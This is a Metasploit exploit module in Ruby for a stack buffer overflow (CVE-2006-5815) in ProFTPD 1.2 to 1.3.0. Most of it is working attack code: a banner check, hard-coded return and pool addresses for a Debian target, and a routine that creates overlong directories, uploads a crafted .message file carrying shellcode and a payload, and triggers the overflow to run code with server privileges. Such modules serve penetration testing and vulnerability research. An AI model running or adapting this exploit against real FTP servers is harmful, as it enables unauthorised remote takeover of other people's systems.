|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243  |  ## # $Id: proftp_sreplace.rb 11526 2011-01-09 23:33:53Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = GreatRanking  include Msf::Exploit::Remote::Ftp  def initialize(info = {})  super(update_info(info,  'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',  'Description'=> %q{  This module exploits a stack-based buffer overflow in versions 1.2 through  1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function  within the "src/support.c" file.  The off-by-one heap overflow bug in the ProFTPD sreplace function has been  discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit  this off-by-one bug via MKD command, but failed. We did not work on this bug  since then.  Actually, there are exists at least two bugs in sreplace function, one is the  mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow  via 'sstrncpy(dst,src,negative argument)'.  We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable  version, but the version 1.3.0rc3 introduced some interesting changes, among them:  1. another (integer) overflow in sreplace!  2. now it is possible to reach sreplace stack-based buffer overflow bug via  the "pr_display_file" function!  3. stupid '.message' file display bug  So we decided to choose ProFTPD 1.3.0 as a target for our exploit.  To reach the bug, you need to upload a specially created .message file to a  writeable directory, then do "CWD <writeable directory>" to trigger the invocation  of sreplace function.  Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'  file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.  The exploit is a part of VulnDisco Pack since Dec 2005.  },  'Author' =>  [  'Evgeny Legerov <admin [at] gleg.net>',# original .pm version (VulnDisco)  'jduck' # Metasploit 3.x port  ],  'Version'=> '$Revision: 11526 $',  'References' =>  [  [ 'CVE', '2006-5815' ],  [ 'OSVDB', '68985' ],  [ 'BID', '20992' ],  [ 'URL', 'http://seclists.org/bugtraq/2006/Nov/94' ],  [ 'URL', 'http://seclists.org/bugtraq/2006/Nov/538' ],  [ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],  [ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]  ],  'DefaultOptions' =>  {  'EXITFUNC' => 'process',  'PrependChrootBreak' => true  },  'Privileged' => true,  'Payload'=>  {  'Space'=> 900,  'BadChars' => "\x00\x0a\x0d\x25",  'DisableNops' =>'True',  },  'Platform' => [ 'linux' ],  'Targets'=>  [  #  # Automatic targeting via fingerprinting  #  [ 'Automatic Targeting', { 'auto' => true }],  #  # This special one comes first since we dont want its index changing.  #  [ 'Debug',  {  'Ret' => 0x41414242,  'PoolAddr' => 0x43434545  }  ],  #  # specific targets  #  [ "ProFTPD 1.3.0 (source install) / Debian 3.1",  {  # objdump -D proftpd|grep call|grep edx  'Ret' => 0x804afc8, # call edx  # nm proftpd|grep permanent_pool  'PoolAddr' => 0x80b59f8  }  ]  ],  'DefaultTarget'=> 0,  'DisclosureDate' => 'Nov 26 2006'))  register_options(  [  OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])  ], self.class )  end  def check  # NOTE: We don't care if the login failed here...  ret = connect  # We just want the banner to check against our targets..  print_status("FTP Banner: #{banner.strip}")  status = CheckCode::Safe  if banner =~ /ProFTPD (1\.[23]\.[^ ])/i  ver = $1  maj,min,rel = ver.split('.')  relv = rel.slice!(0,1)  case relv  when '2'  status = CheckCode::Vulnerable  when '3'  # 1.3.x before 1.3.1 is vulnerable  status = CheckCode::Vulnerable  if rel.length > 0  if rel.to_i > 0  status = CheckCode::Safe  else  status = CheckCode::Vulnerable  end  end  end  end  disconnect  return status  end  def exploit  connect_login  # Use a copy of the target  mytarget = target  if (target['auto'])  mytarget = nil  print_status("Automatically detecting the target...")  if (banner and (m = banner.match(/ProFTPD (1\.3\.[23][^ ]) Server/i))) then  print_status("FTP Banner: #{banner.strip}")  version = m[1]  else  raise RuntimeError, "No matching target"  end  regexp = Regexp.escape(version)  self.targets.each do |t|  if (t.name =~ /#{regexp}/) then  mytarget = t  break  end  end  if (not mytarget)  raise RuntimeError, "No matching target"  end  print_status("Selected Target: #{mytarget.name}")  else  print_status("Trying target #{mytarget.name}...")  if banner  print_status("FTP Banner: #{banner.strip}")  end  end  #puts "attach and press any key"; bleh = $stdin.gets  res = send_cmd(['CWD', datastore['WRITABLE']])  pwd = send_cmd(['PWD'])  if pwd !~ /257\s\"(.+)\"/  raise RuntimeError, "Unable to get current working directory"  end  pwd = $1  pwd << "/" if pwd[-1,1] != "/"  dir1 = "A" * (251 - pwd.length)  res = send_cmd(['MKD', dir1])  res = send_cmd(['CWD', dir1])  res = send_cmd(['PWD'])  dir2 = "B" * 64  dir2 << [mytarget.ret].pack('V')  dir2 << [mytarget['PoolAddr'] - 4].pack('V')  dir2 << "\xcc" * 28  res = send_cmd(['DELE', "#{dir2}/.message"])  res = send_cmd(['DELE', "250"])  res = send_cmd(['RMD', dir2])  filedata = ''  filedata << 'A'  filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret  filedata << "\x25C" * 11  filedata << 'A'  filedata << payload.encoded  filedata << rand_text_alphanumeric(900 - payload.encoded.length)  filedata << "\x25\x43\x41" * 10  res = send_cmd(['MKD', dir2])  res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')  # Trigger sreplace overflow  res = send_cmd(['CWD', dir2])  handler  disconnect  end end  |